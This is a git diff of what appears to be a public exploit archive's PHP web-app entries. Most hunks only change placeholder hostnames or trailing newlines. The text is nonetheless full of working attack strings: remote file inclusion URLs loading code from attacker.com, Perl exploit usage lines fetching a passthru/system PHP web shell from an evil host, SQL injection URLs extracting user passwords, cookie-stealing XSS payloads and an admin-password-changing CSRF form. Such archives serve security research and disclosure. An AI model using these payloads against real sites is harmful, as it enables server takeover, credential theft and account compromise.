a/platforms/php/webapps/2477.txt +++ b/platforms/php/webapps/2477.txt @@ -21,7 +21,7 @@ Exploit: Variable $phpbb_root_path not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script] +# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script] --------------------------------------------------------------------------- Solution : diff --git a/platforms/php/webapps/2480.txt b/platforms/php/webapps/2480.txt index 41d76191e..ee1108a11 100755 --- a/platforms/php/webapps/2480.txt +++ b/platforms/php/webapps/2480.txt @@ -1,4 +1,4 @@ -/ \ + / \ \ \ ,, / / '-.`\()/`.-' .--_'( )'_--. @@ -20,7 +20,7 @@ _________________________________________________________________________ -http://server/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script] +http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script] diff --git a/platforms/php/webapps/2481.txt b/platforms/php/webapps/2481.txt index e06142e95..355a289bd 100755 --- a/platforms/php/webapps/2481.txt +++ b/platforms/php/webapps/2481.txt @@ -21,9 +21,9 @@ _________________________________________________________________________ # Remote File Inclusion -http://server/[path]/includes/themen_portal_mitte.php?phpbb_root_path=http://[Evil_script] +http://site.com/[path]/includes/themen_portal_mitte.php?phpbb_root_path=http://[Evil_script] -http://server/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script] +http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script] ------------------------------------------------------------------------------ diff --git a/platforms/php/webapps/24851.txt b/platforms/php/webapps/24851.txt index 74f210c45..5f5a13e8d 100755 --- a/platforms/php/webapps/24851.txt +++ b/platforms/php/webapps/24851.txt @@ -15,4 +15,4 @@ http://server/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid ********************************* # Turkey. - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/24879.txt b/platforms/php/webapps/24879.txt index ffb08a6bf..f15ce9bad 100755 --- a/platforms/php/webapps/24879.txt +++ b/platforms/php/webapps/24879.txt @@ -88,3 +88,4 @@ Only using stripslahes which will not protect against doing sql injection attack #independent Pakistani Security Researcher + \ No newline at end of file diff --git a/platforms/php/webapps/2489.pl b/platforms/php/webapps/2489.pl index a95f960f1..abf04b6a2 100755 --- a/platforms/php/webapps/2489.pl +++ b/platforms/php/webapps/2489.pl @@ -60,7 +60,7 @@ use LWP::UserAgent; # usage: # perl exploit.pl <Ciamos Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[Ciamos_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[Ciamos_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -129,7 +129,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <Ciamos Locaction> <shell location> <shell cmd>\r\n\n"; -print " <Ciamos Locaction> - Full path to Ciamos ex: http://www.server/Ciamos/\r\n"; +print " <Ciamos Locaction> - Full path to Ciamos ex: http://www.site.com/Ciamos/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.evilhost.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/2491.pl b/platforms/php/webapps/2491.pl index 157f5ba1f..01a37380e 100755 --- a/platforms/php/webapps/2491.pl +++ b/platforms/php/webapps/2491.pl @@ -54,7 +54,7 @@ $mw->Label(-text => '')->pack(); $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ; $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ; -$url = 'http://www.server/[path]/lib/functions.inc.php?relativer_pfad='; +$url = 'http://www.site.com/[path]/lib/functions.inc.php?relativer_pfad='; $shell_path = 'http://shell.txt?'; $cmd = 'ls -la'; diff --git a/platforms/php/webapps/2493.pl b/platforms/php/webapps/2493.pl index caa2cd23b..6b4096b9c 100755 --- a/platforms/php/webapps/2493.pl +++ b/platforms/php/webapps/2493.pl @@ -9,7 +9,7 @@ # usage: # perl docmint.pl <target> <cmd shell location> <cmd shell variable> # -# perl docmint.pl http://server/ http://server/cmd.txt cmd +# perl docmint.pl http://target.com/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -74,8 +74,8 @@ sub usage() { head(); print " Usage: perl docmint.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; - print " <Site> - Full path to docmint ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to docmint ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; diff --git a/platforms/php/webapps/2494.txt b/platforms/php/webapps/2494.txt index 4604cbb64..e517301a7 100755 --- a/platforms/php/webapps/2494.txt +++ b/platforms/php/webapps/2494.txt @@ -63,10 +63,10 @@ etc.. Proof Of Concept: ~~~~~~~~~~~~~~ -http://server/[OpenDockEasyDock_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyDock_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyDock_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyDock_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyDock_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyDock_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyDock_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyDock_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt? Solution: ~~~~~~ diff --git a/platforms/php/webapps/2495.txt b/platforms/php/webapps/2495.txt index 1a95c5739..33dd0bd09 100755 --- a/platforms/php/webapps/2495.txt +++ b/platforms/php/webapps/2495.txt @@ -63,10 +63,10 @@ etc.. Proof Of Concept: ~~~~~~~~~~~~~~ -http://server/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt? Solution: ~~~~~~ diff --git a/platforms/php/webapps/24953.txt b/platforms/php/webapps/24953.txt index 3f8cbb735..e627ee126 100755 --- a/platforms/php/webapps/24953.txt +++ b/platforms/php/webapps/24953.txt @@ -17,19 +17,19 @@ ========================================================================================== # Proof of concept : -Vulnerable page : http://server/[path]/admin/file_io.php +Vulnerable page : http://target.com/[path]/admin/file_io.php <form name="frm" action="file_io.php" method="post" onSubmit="return chk()"> <input type="hidden" name="do_type" value="admin_settings_write"> # How to exploit : - - Change http://server/[path]/ to the link of target website. + - Change http://www.target.com/[path]/ to the link of target website. <html> <head><title>Free Monthly Websites 2.0 | Remote Admin password Change</title></head> <body> <td width="645" align="center" valign="top"><table width="645" border="0" align="center" cellpadding="0" cellspacing="0"> - <form name="frm" action="http://server/[path]/admin/file_io.php" method="post" onSubmit="return chk()"> + <form name="frm" action="http://www.target.com/[path]/admin/file_io.php" method="post" onSubmit="return chk()"> <input type="hidden" name="do_type" value="admin_settings_write"> <tr> <td height="100" colspan="2" align="center" valign="middle"> diff --git a/platforms/php/webapps/2496.txt b/platforms/php/webapps/2496.txt index ec247c217..1bd7e9d55 100755 --- a/platforms/php/webapps/2496.txt +++ b/platforms/php/webapps/2496.txt @@ -71,10 +71,10 @@ webyep-system/programm/webyep.php Proof Of Concept: ~~~~~~~~~~~~~~ -http://server/[webYep_path]/webyep-system/programm/lib/WYApplication.php?webyep_sIncludePath=http://attacker.com/inject.txt? -http://server/[webYep_path]/webyep-system/programm/lib/WYDocument.php?webyep_sIncludePath=http://attacker.com/inject.txt? -http://server/[webYep_path]/webyep-system/programm/webyep.php?webyep_sIncludePath=http://attacker.com/inject.txt? -http://server/[webYep_path]/webyep-system/programm/elements/WYGalleryElement.php?webyep_sIncludePath=http://attacker.com/inject.txt? +http://target.com/[webYep_path]/webyep-system/programm/lib/WYApplication.php?webyep_sIncludePath=http://attacker.com/inject.txt? +http://target.com/[webYep_path]/webyep-system/programm/lib/WYDocument.php?webyep_sIncludePath=http://attacker.com/inject.txt? +http://target.com/[webYep_path]/webyep-system/programm/webyep.php?webyep_sIncludePath=http://attacker.com/inject.txt? +http://target.com/[webYep_path]/webyep-system/programm/elements/WYGalleryElement.php?webyep_sIncludePath=http://attacker.com/inject.txt? Solution: ~~~~~~ diff --git a/platforms/php/webapps/24969.txt b/platforms/php/webapps/24969.txt index 09a88f860..1997d0b44 100755 --- a/platforms/php/webapps/24969.txt +++ b/platforms/php/webapps/24969.txt @@ -12,15 +12,15 @@ # Joomla component com_civicrm OpenFlashCart ofc_upload_image.php remote code injection exploit # http://www.securityweb.org & http://www.security.biz.tr -# multithreading mass c:\appserv\www>exp.php -u http://server/ -f post.php +# multithreading mass c:\appserv\www>exp.php -u http://target.com/ -f post.php $options = getopt('u:f:'); if(!isset($options['u'], $options['f'])) -die("\n Usage example: php jnews.php -u http://server/ -f post.php\n --u http://server/ The full path to Joomla! +die("\n Usage example: php jnews.php -u http://target.com/ -f post.php\n +-u http://target.com/ The full path to Joomla! -f post.php The name of the file to create.\n"); $url = $options['u']; diff --git a/platforms/php/webapps/2497.txt b/platforms/php/webapps/2497.txt index 1ecd40712..9923bd55d 100755 --- a/platforms/php/webapps/2497.txt +++ b/platforms/php/webapps/2497.txt @@ -62,10 +62,10 @@ etc.. Proof Of Concept: ~~~~~~~~~~~~~~ -http://server/[OpenDockEasyGallery_Path]/sw/lib_user/find_user.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyGallery_Path]/sw/lib_user/user.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyGallery_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt? -http://server/[OpenDockEasyGallery_Path]/sw/lib_session/session.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/find_user.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/user.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyGallery_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt? +http://target.com/[OpenDockEasyGallery_Path]/sw/lib_session/session.php?doc_directory=http://attacker.com/inject.txt? Solution: ~~~~~~ diff --git a/platforms/php/webapps/24987.txt b/platforms/php/webapps/24987.txt index b59bb9b65..46bd4dd2c 100755 --- a/platforms/php/webapps/24987.txt +++ b/platforms/php/webapps/24987.txt @@ -7,4 +7,4 @@ If successful, the attacker can execute arbitrary script code on a vulnerable se This issue was identified in versions of JSBoard 2.0.8 and prior and JSBoard-win32 1.3.11a prior. Script file name: -attack.php.hwp \ No newline at end of file +attack.php.hwp \ No newline at end of file diff --git a/platforms/php/webapps/2499.php b/platforms/php/webapps/2499.php index e1746d437..be89a5122 100755 --- a/platforms/php/webapps/2499.php +++ b/platforms/php/webapps/2499.php @@ -131,7 +131,7 @@ $data.="&regpass=suntzu"; $data.="&reregpass=suntzu"; $data.="&anag=suntzu"; $data.="&email=suntzu@fake.fke"; -$data.="&homep=".urlencode('http://www.aserver'); +$data.="&homep=".urlencode('http://www.asite.com'); $data.="&prof=PUNK"; $data.="&prov=whereimfrom"; $data.="&ava=clanbomber.png"; diff --git a/platforms/php/webapps/24994.txt b/platforms/php/webapps/24994.txt index 9eeeab59c..172750b16 100755 --- a/platforms/php/webapps/24994.txt +++ b/platforms/php/webapps/24994.txt @@ -7,4 +7,4 @@ If successful, the attacker can execute arbitrary script code on a vulnerable se MediaWiki 1.3.8 and prior versions are affected by this issue. Script file name: -attack.php.rar \ No newline at end of file +attack.php.rar \ No newline at end of file diff --git a/platforms/php/webapps/25002.txt b/platforms/php/webapps/25002.txt index 8160d8d4c..80457fa59 100755 --- a/platforms/php/webapps/25002.txt +++ b/platforms/php/webapps/25002.txt @@ -75,4 +75,4 @@ http://www.reactionpenetrationtesting.co.uk http://www.reactionpenetrationtesting.co.uk/research.html -http://www.reactionpenetrationtesting.co.uk/security-testing-services.html \ No newline at end of file +http://www.reactionpenetrationtesting.co.uk/security-testing-services.html \ No newline at end of file diff --git a/platforms/php/webapps/25014.txt b/platforms/php/webapps/25014.txt index 3a8fd8588..ad7212a85 100755 --- a/platforms/php/webapps/25014.txt +++ b/platforms/php/webapps/25014.txt @@ -12,4 +12,4 @@ http://www.example.com/modules.php?name=WorkBoard&file=project&project_id= http://www.example.com/modules.php?name=Work_Board&op=Task&task_id=7[XSS_code] http://www.example.com/modules.php?name=Work_Board&op=Task&task_id= -5%3Cbody%3E%3Cp%3E%3Ch1%3EWorkboard+XSS%20Pow@!!+%21%21%21+lostmon+was+here+%3AD%3C/h1%3E \ No newline at end of file +5%3Cbody%3E%3Cp%3E%3Ch1%3EWorkboard+XSS%20Pow@!!+%21%21%21+lostmon+was+here+%3AD%3C/h1%3E \ No newline at end of file diff --git a/platforms/php/webapps/25038.txt b/platforms/php/webapps/25038.txt index 895b9ba0c..fbfcbeb7c 100755 --- a/platforms/php/webapps/25038.txt +++ b/platforms/php/webapps/25038.txt @@ -13,4 +13,4 @@ http://www.example.com/index.php?_a=knowledgebase&_j=questiondetails&_i=[SQL] http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=blah@blah&ticketkey22=[ SQL] -http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=[SQL]&ticketkey22= \ No newline at end of file +http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=[SQL]&ticketkey22= \ No newline at end of file diff --git a/platforms/php/webapps/25044.txt b/platforms/php/webapps/25044.txt index cca49c560..c5af732de 100755 --- a/platforms/php/webapps/25044.txt +++ b/platforms/php/webapps/25044.txt @@ -5,4 +5,4 @@ PhpGroupWare is reported to be susceptible to a HTML injection vulnerability. Th The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user. http://[target]/[phpgroupware_directory]/index.php?menuaction=calendar.uicalendar.planner -POST DATA: date="><script>alert(document.cookie)</script> \ No newline at end of file +POST DATA: date="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25045.txt b/platforms/php/webapps/25045.txt index 248eca71a..6f95f0a0c 100755 --- a/platforms/php/webapps/25045.txt +++ b/platforms/php/webapps/25045.txt @@ -4,4 +4,4 @@ A remote SQL injection vulnerability reportedly affects 2Bgal. This issue is due An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information. -http://www.example.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%20passwd%20as%20nom,%20idpere%20FROM%20galbumlist%20LIMIT%201;-- \ No newline at end of file +http://www.example.com/2bgal/disp_album.php?id_album=2%20UNION%20SELECT%20passwd%20as%20nom,%20idpere%20FROM%20galbumlist%20LIMIT%201;-- \ No newline at end of file diff --git a/platforms/php/webapps/25048.txt b/platforms/php/webapps/25048.txt index 2b2795a28..d93cc3d14 100755 --- a/platforms/php/webapps/25048.txt +++ b/platforms/php/webapps/25048.txt @@ -8,4 +8,4 @@ This vulnerability may allow for theft of cookie-based authentication credential This vulnerability is reported to exist in PsychoStats 2.2.4 Beta and prior versions. -http://www.example.com/stats/login.php?login=%22%3E%3Ciframe%3E \ No newline at end of file +http://www.example.com/stats/login.php?login=%22%3E%3Ciframe%3E \ No newline at end of file diff --git a/platforms/php/webapps/25058.txt b/platforms/php/webapps/25058.txt index 36eec0c58..e7c045a63 100755 --- a/platforms/php/webapps/25058.txt +++ b/platforms/php/webapps/25058.txt @@ -8,4 +8,4 @@ Exponent 0.95 is reported prone to these issues. It is likely that previous vers http://www.example.com/endon/mod.php?action=[BLABLA]&module=[XSS] http://www.example.com/expo/index.php?action=createuser&module=%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/expo/index.php?action=view&id=2&module=<h1>Tes</h1> \ No newline at end of file +http://www.example.com/expo/index.php?action=view&id=2&module=<h1>Tes</h1> \ No newline at end of file diff --git a/platforms/php/webapps/25062.txt b/platforms/php/webapps/25062.txt index b741507d0..1527599d4 100755 --- a/platforms/php/webapps/25062.txt +++ b/platforms/php/webapps/25062.txt @@ -8,4 +8,4 @@ index.php?product_id=477&pageactionprev=viewpricelist&sta rt=0"><script>alert(do index.php?product_id=477&pageactionprev=viewpricelist&start=0&category_id="><script>alert(document.d omain);</script>&keyword= index.php?product_id=477&pageactionprev=viewpricelist&start=0&category_id=&keyword="><script>alert(document.domain);</script> index.php?pageac tion=viewpricelist"><script>alert(document.domain);</script> -index.php?product_id=477"><script>alert(document.domain);</script>&pageactionprev=viewpricelist&start=0&cate gory_id=&keyword= \ No newline at end of file +index.php?product_id=477"><script>alert(document.domain);</script>&pageactionprev=viewpricelist&start=0&cate gory_id=&keyword= \ No newline at end of file diff --git a/platforms/php/webapps/25065.txt b/platforms/php/webapps/25065.txt index 8d6fc237f..4622d46a3 100755 --- a/platforms/php/webapps/25065.txt +++ b/platforms/php/webapps/25065.txt @@ -16,4 +16,4 @@ Content-Type: application/download <?php system($_GET[cmd]); -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/webapps/25071.txt b/platforms/php/webapps/25071.txt index 126afc63b..aa2920c3a 100755 --- a/platforms/php/webapps/25071.txt +++ b/platforms/php/webapps/25071.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/12399/info Infinite Mobile Delivery Webmail is reportedly affected by a path disclosure vulnerability. This issue could permit a malicious user to expose the root path of the affected application. -http://www-webmailusersite-com/username/Folder:? \ No newline at end of file +http://www-webmailusersite-com/username/Folder:? \ No newline at end of file diff --git a/platforms/php/webapps/25073.txt b/platforms/php/webapps/25073.txt index 409ab8305..eaa38934b 100755 --- a/platforms/php/webapps/25073.txt +++ b/platforms/php/webapps/25073.txt @@ -6,4 +6,4 @@ As a result of this vulnerability, it is possible for a remote attacker to creat product.php?xSec=1&xProd=7"><script>alert(document.domain);</script> -product.php?xSec=1"><script>alert(document.domain);</script>&xProd=7 \ No newline at end of file +product.php?xSec=1"><script>alert(document.domain);</script>&xProd=7 \ No newline at end of file diff --git a/platforms/php/webapps/25074.txt b/platforms/php/webapps/25074.txt index aea6960b9..350178bb1 100755 --- a/platforms/php/webapps/25074.txt +++ b/platforms/php/webapps/25074.txt @@ -8,4 +8,4 @@ Incontent version 3.0 is reported to be susceptible to this vulnerability. Other http://www.example.com/modules/incontent/index.php?op=aff&option=0&url=../../. ./index.php -http://www.example.com/modules/incontent/index.php?op=aff&optio n=0&url=../../../mainfile.php \ No newline at end of file +http://www.example.com/modules/incontent/index.php?op=aff&optio n=0&url=../../../mainfile.php \ No newline at end of file diff --git a/platforms/php/webapps/2508.txt b/platforms/php/webapps/2508.txt index bfe295997..1c4897afc 100755 --- a/platforms/php/webapps/2508.txt +++ b/platforms/php/webapps/2508.txt @@ -61,9 +61,9 @@ modules/Calendar/calendar.php Proof Of Concept: ~~~~~~~~~~~~~~ -http://server/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt? -http://server/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt? -http://server/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt? +http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt? +http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt? +http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt? Solution: ~~~~~~ diff --git a/platforms/php/webapps/25089.txt b/platforms/php/webapps/25089.txt index 0df94baf6..b0fb64185 100755 --- a/platforms/php/webapps/25089.txt +++ b/platforms/php/webapps/25089.txt @@ -4,4 +4,4 @@ PHP-Fusion is reportedly affected by an information disclosure vulnerability. Th It is reported that an attacker could leverage this vulnerability to view any thread of protected forums on an affected version of the application. All PHP-Fusion 4 versions are reportedly affected by this vulnerability; earlier versions may also be vulnerable. -http://www.example.com/fusion_forum/viewthread.php?forum_id=10000&forum_cat=100000&thread_id=2 \ No newline at end of file +http://www.example.com/fusion_forum/viewthread.php?forum_id=10000&forum_cat=100000&thread_id=2 \ No newline at end of file diff --git a/platforms/php/webapps/25090.txt b/platforms/php/webapps/25090.txt index 7de492192..e6c6181c7 100755 --- a/platforms/php/webapps/25090.txt +++ b/platforms/php/webapps/25090.txt @@ -6,4 +6,4 @@ A malicious user could exploit this vulnerability to bypass user authentication This vulnerability is reported to affect xGB version 2.0; earlier versions may also be vulnerable. -http://www.example.com/xGB.php?act=admin&do=edit \ No newline at end of file +http://www.example.com/xGB.php?act=admin&do=edit \ No newline at end of file diff --git a/platforms/php/webapps/25093.txt b/platforms/php/webapps/25093.txt index 7cc463921..b5db8f183 100755 --- a/platforms/php/webapps/25093.txt +++ b/platforms/php/webapps/25093.txt @@ -8,4 +8,4 @@ MercuryBoard 1.1.1 and prior versions are affected by this vulnerability. http://www.example.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION %20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20 -=%201%20limit%201/* \ No newline at end of file +=%201%20limit%201/* \ No newline at end of file diff --git a/platforms/php/webapps/25097.txt b/platforms/php/webapps/25097.txt index 3cdba76a1..1545dcfca 100755 --- a/platforms/php/webapps/25097.txt +++ b/platforms/php/webapps/25097.txt @@ -9,4 +9,4 @@ The application is also prone to a cross-site scripting vulnerability. This issu CubeCart 2.0.4 and prior versions are considered to be vulnerable to these issues. http://www.example.com/index.php?&language=<script>var%20test_variable=31 -337;alert(test_variable);</script> \ No newline at end of file +337;alert(test_variable);</script> \ No newline at end of file diff --git a/platforms/php/webapps/25100.txt b/platforms/php/webapps/25100.txt index 2664460b5..24b975686 100755 --- a/platforms/php/webapps/25100.txt +++ b/platforms/php/webapps/25100.txt @@ -6,4 +6,4 @@ These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b; user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form -userfile=@exploit.csv --form Import=Import \ No newline at end of file +userfile=@exploit.csv --form Import=Import \ No newline at end of file diff --git a/platforms/php/webapps/25101.txt b/platforms/php/webapps/25101.txt index 4455a636d..e0aa82df2 100755 --- a/platforms/php/webapps/25101.txt +++ b/platforms/php/webapps/25101.txt @@ -5,4 +5,4 @@ CitrusDB is reportedly affected by an access validation vulnerability during the These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected. THe following proof of concept demonstrates the SQL injection vulnerability: -Reportedly supplying ',,,,, as the contents of the uploaded csv file will make the SQL query in './citrusdb/tools/importcc.php' fail. \ No newline at end of file +Reportedly supplying ',,,,, as the contents of the uploaded csv file will make the SQL query in './citrusdb/tools/importcc.php' fail. \ No newline at end of file diff --git a/platforms/php/webapps/25102.txt b/platforms/php/webapps/25102.txt index eec0348b6..1ec1cec15 100755 --- a/platforms/php/webapps/25102.txt +++ b/platforms/php/webapps/25102.txt @@ -7,4 +7,4 @@ An attacker could exploit this vulnerability to log in as any existing user, inc This issue is reported to affect CitrusDB 0.3.6; earlier versions may also be affected. curl -D - --cookie "id_hash=4b3b2c8666298ae9771e9b3d38c3f26e; -user_name=admin" http://www.example.com/citrusdb/tools/index.php \ No newline at end of file +user_name=admin" http://www.example.com/citrusdb/tools/index.php \ No newline at end of file diff --git a/platforms/php/webapps/25103.txt b/platforms/php/webapps/25103.txt index 2461c151c..8ade8de56 100755 --- a/platforms/php/webapps/25103.txt +++ b/platforms/php/webapps/25103.txt @@ -5,4 +5,4 @@ It is reported that PHP-Nuke is affected by various cross-site scripting vulnera These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials http://www.example.com/nuke75/modules.php?name=Downloads&d_op=NewDownloads&newdownloadshowdays=[xss code here] -http://www.example.com/nuke75/modules.php?name=Web_Links&l_op=NewLinks&newlinkshowdays=[xss code here] \ No newline at end of file +http://www.example.com/nuke75/modules.php?name=Web_Links&l_op=NewLinks&newlinkshowdays=[xss code here] \ No newline at end of file diff --git a/platforms/php/webapps/25105.txt b/platforms/php/webapps/25105.txt index 08f77c027..2ec8ef66e 100755 --- a/platforms/php/webapps/25105.txt +++ b/platforms/php/webapps/25105.txt @@ -6,4 +6,4 @@ This issue could permit a remote attacker to create a malicious URI link that in This vulnerability is reported to exist in osCommerce version 2.2-MS2, other versions might also be affected. -http://www.example.com/contact_us.php?&name=1&email=1&enquiry=%3C/textarea%3E%3Cscript%3Ealert('w00t');%3C/script%3E \ No newline at end of file +http://www.example.com/contact_us.php?&name=1&email=1&enquiry=%3C/textarea%3E%3Cscript%3Ealert('w00t');%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25109.txt b/platforms/php/webapps/25109.txt index 3325fad41..ace99fccb 100755 --- a/platforms/php/webapps/25109.txt +++ b/platforms/php/webapps/25109.txt @@ -12,8 +12,8 @@ http://www.example.com/index.php?page=documents&doc=-99%27 UNION SELECT null,nul http://www.example.com/index.php?page=mdetails&uid=-99%27 UNION SELECT null,null,null,username,null, null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null FROM dcp5_members WHERE username=%27[username] -http://server/forums.php?action=showmsg&mid=-99%27 UNION SELECT null,null,null,password,null, username,null,null,null FROM dcp5_members WHERE username=%27[username] +http://server.com/forums.php?action=showmsg&mid=-99%27 UNION SELECT null,null,null,password,null, username,null,null,null FROM dcp5_members WHERE username=%27[username] -http://server/forums.php?action=board&bid=-99%27UNION SELECT null,null,password,null FROM dcp5_members WHERE username=%27[username] +http://server.com/forums.php?action=board&bid=-99%27UNION SELECT null,null,password,null FROM dcp5_members WHERE username=%27[username] -Replace [username] in the above examples with the user name you wish to retrieve the password for. \ No newline at end of file +Replace [username] in the above examples with the user name you wish to retrieve the password for. \ No newline at end of file diff --git a/platforms/php/webapps/25111.txt b/platforms/php/webapps/25111.txt index 587c52092..41a38da5f 100755 --- a/platforms/php/webapps/25111.txt +++ b/platforms/php/webapps/25111.txt @@ -4,4 +4,4 @@ PaNews is reportedly affected by a cross-site scripting vulnerability. This issu As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/comments.php?op=view&newsid=1&showpost="><h1>AttackerXSSvulnerable<!-- \ No newline at end of file +http://www.example.com/comments.php?op=view&newsid=1&showpost="><h1>AttackerXSSvulnerable<!-- \ No newline at end of file diff --git a/platforms/php/webapps/25112.txt b/platforms/php/webapps/25112.txt index c803e63ce..5426809ea 100755 --- a/platforms/php/webapps/25112.txt +++ b/platforms/php/webapps/25112.txt @@ -5,4 +5,4 @@ A remote cross-site scripting vulnerability affects the 'forum.php' script of Me An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/index.php?a=forum&f='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/index.php?a=forum&f='><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/index.php?a=forum&f='><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25113.txt b/platforms/php/webapps/25113.txt index 3a6ec7f73..a94bc1a55 100755 --- a/platforms/php/webapps/25113.txt +++ b/platforms/php/webapps/25113.txt @@ -19,4 +19,4 @@ output: attack payload: telnet example.com GET /login.php HTTP/1.1 -Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8 \ No newline at end of file +Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8 \ No newline at end of file diff --git a/platforms/php/webapps/25117.txt b/platforms/php/webapps/25117.txt index eba48329d..83b631d6e 100755 --- a/platforms/php/webapps/25117.txt +++ b/platforms/php/webapps/25117.txt @@ -8,4 +8,4 @@ This vulnerability is reported to affect paFaq beta4; earlier versions may also http://www.example.com/index.php?act=Speak&code=05&poster=1&name=2&question=3&email=4&cat_id=' http://www.example.com/index.php?act=Speak&code=02&cid='&id=1&poster=1&name=2&answer=3&email=4 -http://www.example.com/index.php?act=Speak&code=02&cid=1&id='&poster=1&name=2&answer=3&email=4 \ No newline at end of file 